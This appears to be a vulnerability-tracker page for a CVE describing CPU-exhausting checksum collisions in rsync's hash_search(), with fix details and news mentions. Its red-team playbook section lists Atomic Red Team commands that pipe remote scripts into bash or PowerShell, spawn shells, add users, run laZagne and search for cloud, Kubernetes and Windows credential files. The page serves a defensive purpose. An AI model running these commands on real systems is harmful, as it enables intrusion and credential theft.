CVE-2026-119741
Overview
This vulnerability is a denial of service caused by excessive computational workload in the delta-transfer sender component of rsync, specifically within the hash_search() function in match.c. The root cause is the handling of crafted weak checksums that collide with consecutive rolling windows combined with non-matching strong checksums, triggering unbounded strong-checksum calculations. The affected feature is the rsync delta-transfer algorithm used during data synchronization when communicating with a public daemon module.
Vulnerability Description
rsync before 3.5.2 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receivers to trigger unbounded strong-checksum work at consecutive offsets. Unauthenticated attackers pulling from a public daemon module can supply weak checksums colliding with consecutive rolling windows plus non-matching strong checksums, exhausting sender CPU across concurrent connections.
Impact
An unauthenticated attacker can exploit this flaw by pulling data from a public rsync daemon to trigger excessive CPU consumption on the sender side, leading to denial of service. This can disrupt legitimate synchronization operations, degrade server performance, and potentially cause service outages. No user interaction or credentials are required, enabling easy exploitation against publicly accessible rsync services. The business impact includes operational downtime and resource exhaustion on critical file synchronization infrastructure.
Solution
Upgrade rsync to version 3.5.2 or later, which includes the fix for this denial of service vulnerability. The patch is available via the official RsyncProject GitHub repository, specifically in commit a7404a9a633cff28ee1602f328b9c3fa69cdbd04 and pull request #1132. Refer to the RsyncProject release notes at https://github.com/RsyncProject/rsync/releases/tag/v3.5.2 for detailed patch instructions and validation tests.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samba | Rsync | All |
cpe:2.3:a:samba:rsync:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (15)
15 mentions from 13 sources in the last 7 days BuzzFactor 71 / 100
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social bsky.app @slackers.it 2026-11-05 02:01 UTC3/4 Bounded strong-checksum work when a malicious receiver supplies weak checksums that collide with consecutive rolling windows. For more information, see: https://www.cve.org/CVERecord?id=CVE-2026-119741 (* Security fix *) xap/xsnow-3.9.…Open source
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social bsky.app @governa.lol 2026-11-05 00:07 UTC#Rsync 3.5.2 Fixes Security Vulnerability, Improves Interrupted Transfers linuxiac.com/rsync-3-5-2-...Open source
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social bsky.app @lxer.com.web.brid.gy 2026-11-04 18:19 UTCOpen source
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social bsky.app @brideoflinux.bsky.social 2026-11-04 14:15 UTCAlso introduces new options for process priorities and symlink handling: Rsync 3.5.2 Fixes Security Vulnerability, Improves Interrupted Transfers buff.ly/bhe8XpuOpen source
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social mastodon.social @linuxmint_hun 2026-11-04 13:25 UTCRsync 3.5.2 megjelent — javítja a CVE-2026-119741 túlzott ellenőrzőösszeg-terhelését, jobb kezelés megszakadt --append/--inplace átvitelekhez, sparse/ismétlődő adatok illesztésén javít, új --nice és --delay-symlinks opciók, daemon verem- é…Open source
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social bsky.app @cyberhub.blog 2026-11-04 11:37 UTC📌 CVE-2026-119741 - rsync through 3.5.1 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receivers... https://www.cyberhub.blog/cves/CVE-2026-119741Open source
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social bsky.app @linuxiac.bsky.social 2026-11-04 08:21 UTCRsync 3.5.2 addresses CVE-2026-119741, fixes interrupted file transfers, and introduces new options for process priorities and symlink handling. linuxiac.com/rsync-3-5-2-... #OpenSourceOpen source
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social bsky.app @linuxnews.net 2026-11-04 08:00 UTC[Linuxiac] Rsync 3.5.2 Fixes Security Vulnerability, Improves Interrupted Transfers #InfoSec #SecurityOpen source
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news helpnetsecurity.com 2026-11-04 07:43 UTCOpen-source file sync tool rsync 3.5.2 fixes a CPU exhaustion flaw - Help Net SecurityOpen source
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social bsky.app @hacks.gr 2026-11-04 07:27 UTCRsync 3.5.2 is available, fixing CVE-2026-119741: a malicious receiver could make the sender perform excessive checksum wor… https://en.hacks.gr/to-rsync-3-5-2-diorthonei-provlima-poy-epetrepe-se-kakovoylo-paralipti-na-prokalei-epanalamvan…Open source
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social bsky.app @derdreschi84.bsky.social 2026-11-04 07:25 UTCRsync 3.5.2 addresses CVE-2026-119741, fixes interrupted file transfers, and introduces new options for process priorities and symlink handling. #LinuxOpen source
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social bsky.app @planetfoss.net.web.brid.gy 2026-11-04 07:18 UTCOpen source
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news linuxiac.com 2026-11-04 07:18 UTCRsync 3.5.2 Fixes Security Vulnerability, Improves Interrupted Transfers - LinuxiacOpen source
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social infosec.exchange @cve 2026-11-03 15:47 UTCCVE-2026-119741 rsync through 3.5.1 Denial of Service via hash_search() Checksum Collisions rsync through 3.5.1 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receiv…Open source
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news threatsensor.csurface.io 2026-11-03 15:26 UTCNew High-Severity Denial of Service Vulnerability in RsyncOpen source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-119741 |
| github.com |
GitHub CVE
release-notes
|
https://github.com/RsyncProject/rsync/releases/tag/v3.5.2 |
| github.com |
GitHub CVE
patch
issue-tracking
|
https://github.com/RsyncProject/rsync/pull/1132 |
| github.com |
GitHub CVE
patch
|
https://github.com/RsyncProject/rsync/commit/a7404a9a633cff28ee1602f328b9c3fa69cdbd04 |
| github.com |
GitHub CVE
technical-description
|
https://github.com/RsyncProject/rsync/blob/a7404a9a633cff28ee1602f328b9c3fa69cdbd04/testsuite/hashsearch-collision-skip_test.py |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/rsync-through-3.5.1-denial-of-service-via-hash-search-checksum-collisions |